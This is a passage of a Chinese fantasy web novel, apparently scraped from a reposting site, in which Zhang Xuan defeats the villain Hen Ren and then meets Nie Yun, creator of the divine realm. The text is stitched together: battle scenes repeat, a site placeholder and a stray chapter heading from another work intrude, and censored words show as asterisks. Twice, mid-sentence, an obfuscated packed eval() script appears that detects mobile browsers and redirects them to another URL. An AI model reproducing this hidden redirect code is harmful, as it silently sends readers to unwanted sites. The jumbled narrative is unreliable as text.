“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546037|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第65章不必像奶奶一样,一辈子困在闺阁 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546038|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! 